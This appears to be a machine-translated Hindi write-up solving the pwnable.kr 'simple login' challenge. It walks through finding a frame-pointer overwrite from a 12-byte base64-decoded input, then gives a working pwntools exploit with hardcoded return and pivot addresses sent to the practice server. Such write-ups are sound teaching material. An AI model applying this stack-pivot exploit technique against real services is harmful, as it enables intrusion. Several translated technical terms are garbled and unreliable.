इस लेख में, हम साइट से 24 वें कार्य को हल करेंगे
pwnable.kr और स्टैक फ्रेम को स्टैक करने के बारे में जानें।
संगठनात्मक जानकारीविशेष रूप से उन लोगों के लिए जो सूचना और कंप्यूटर सुरक्षा के किसी भी क्षेत्र में कुछ नया सीखना और विकसित करना चाहते हैं, मैं निम्नलिखित श्रेणियों के बारे में लिखूंगा और बात करूंगा:
- PWN;
- क्रिप्टोग्राफी (क्रिप्टो);
- नेटवर्क टेक्नोलॉजीज (नेटवर्क);
- रिवर्स (रिवर्स इंजीनियरिंग);
- स्टेग्नोग्राफ़ी (स्टेग्नो);
- WEB कमजोरियों की खोज और उनका दोहन।
इसके अलावा, मैं अपने अनुभव को कंप्यूटर फोरेंसिक, मैलवेयर और फर्मवेयर के विश्लेषण, वायरलेस नेटवर्क और स्थानीय क्षेत्र नेटवर्क पर हमले, पेंटेस्ट का संचालन करने और कारनामे लिखने में साझा करूंगा।
ताकि आप नए लेख, सॉफ्टवेयर और अन्य जानकारी के बारे
में जान सकें, मैंने
टेलीग्राम में एक
चैनल बनाया और आईसीडी के क्षेत्र में
किसी भी मुद्दे पर चर्चा करने के लिए एक
समूह बनाया। साथ ही, मैं व्यक्तिगत रूप से आपके व्यक्तिगत अनुरोधों, प्रश्नों, सुझावों और सिफारिशों पर
व्यक्तिगत रूप से विचार
करूंगा और सभी का जवाब दूंगा ।
सभी जानकारी केवल शैक्षिक उद्देश्यों के लिए प्रदान की जाती है। इस दस्तावेज़ का लेखक इस दस्तावेज़ का अध्ययन करने के परिणामस्वरूप प्राप्त ज्ञान और विधियों का उपयोग करने के परिणामस्वरूप किसी को हुए नुकसान के लिए कोई ज़िम्मेदारी नहीं उठाता है।
सरल लॉगिन नौकरी समाधान
हम दूसरे खंड को जारी रखते हैं। मैं तुरंत कहूंगा कि यह पहले की तुलना में अधिक कठिन है और हमें अनुप्रयोगों के स्रोत कोड के साथ प्रदान नहीं किया गया है।
यहां चर्चा के बारे में मत भूलना। चलिए शुरू करते हैं।
हस्ताक्षर सरल लॉगिन के साथ आइकन पर क्लिक करें। हमें खुद को जोड़ने और कार्यक्रम के लिए पता और पोर्ट दिया गया है।

वे सब कुछ डाउनलोड करें जो वे हमें देते हैं, बाइनरी की जांच करें।

यह स्थापित कनारी और गैर-निष्पादन योग्य स्टैक के साथ 32-बिट योगिनी है। हम आईडीए प्रो में विघटित करते हैं।

कार्यक्रम में, बेस 64 से उपयोगकर्ता डेटा डिकोड किया जाता है। चर v7 डिकोड किए गए स्ट्रिंग की लंबाई संग्रहीत करता है। इसके अलावा, v7 की तुलना 12 से की जाती है। यदि चेक पास हो जाता है, तो डिकोड किए गए स्ट्रिंग को इनपुट वेरिएबल में कॉपी किया जाता है, और फिर ऑर्टिकल फ़ंक्शन को कॉल किया जाता है, जिसमें डिकोड किए गए स्ट्रिंग की लंबाई को पैरामीटर के रूप में पास किया जाता है। और अगर हम प्रमाणीकरण पास करते हैं, तो सही फ़ंक्शन कहा जाता है। आइए नजर डालते हैं ऑर्टिकल फंक्शन पर।

यह एक बफर अतिप्रवाह की तरह दिखता है। स्टैक पर एक नज़र डालें।

नहीं। हम बफ़र को ओवरफ्लो नहीं कर सकते, क्योंकि इसके लिए 12 बाइट्स की आवश्यकता होती है। वे पते जहां चर का मान संग्रहीत किया जाता है, दिलचस्प है, विशेष रूप से v4 चर जिसमें नकल की जाती है।

यह पता [ESP + 32] है। इसके लिए कोड को एक असम्बद्ध रूप में देखें।

स्टैक फ्रेम को बचाने के लिए निम्न निर्देशों की आवश्यकता होती है।
push ebp
mov ebp, esp
स्टैक को पुनर्स्थापित करने के लिए, छुट्टी कथन का उपयोग करें। जिसे हम उलटा संचालन करते हैं।

सबसे दिलचस्प तीसरे अनुदेश
sub esp, 28h
।
इस प्रकार, ओवरलैप होता है: esp 40 से घटता है, और v2 चर esp + 32 पर स्थित होता है और 12 बाइट लेता है। अर्थात्, एस्प से ईबीपी तक मान को स्थानांतरित करने के बाद, चर v2 के अंतिम चार बाइट्स का पता ईबीपी में सहेजा जाएगा। जब छुट्टी और रिटेन स्टेटमेंट निष्पादित होते हैं, तो v2 चर के अंतिम चार बाइट्स अब स्टैक के उच्च फ्रेम में होंगे।
आइए जांच करें और इनपुट लाइन QUFBQUFBQUFCQkJC दें।

यदि हमारी धारणा सही है, तो रीटरी को फंक्शन में निष्पादित करने के बाद, स्टैक के शीर्ष पर "BBBB" पता होगा।

अब छुट्टी पर अमल करें।

EBP में "BBBB" है और अब मुख्य फंक्शन मेन में छुट्टी देने के बाद प्रोग्राम क्रैश हो जाएगा। इस प्रकार, हम उस स्टैक के शीर्ष के पते के सामने आ सकते हैं, जिस पते पर हम जाना चाहते हैं वह स्थित होगा। फिर लोड इस तरह होगा: 4 किसी भी बाइट + पता जहां हम लोड की शुरुआत में + पता चलते हैं।
सबसे पहले, एक टेम्पलेट लिखें।
from pwn import * from base64 import * r = remote('pwnable.kr', 9003) r.recv() r.interactive()
अब हम उस पते का पता लगाते हैं जहां हम जाना चाहते हैं - यह सही फ़ंक्शन के अंदर 0x8049284 है।

यह पता हमारे लोड का दूसरा भाग होगा। लोड का तीसरा भाग इनपुट चर (लोड एड्रेस) का पता होगा।

हम कोड में लोड की रचना करते हैं। Base64 में एनकोड करना न भूलें:
payload = "A"*4 + p32(0x8049284) + p32(0x811EB40) payload = b64encode(payload)
पूर्ण कोड।
from pwn import * from base64 import * r = remote('pwnable.kr', 9003) r.recv() payload = "A"*4 + p32(0x8049284) + p32(0x811EB40) payload = b64encode(payload) r.send(payload+"\n") r.interactive()

और अपने अंक प्राप्त करें। ईमानदारी से, यह कार्य मेरे लिए बहुत आसान नहीं था।

और हम जारी रखते हैं: अगले लेख में - फॉरेंसिक। आप
टेलीग्राम पर हमसे जुड़ सकते हैं।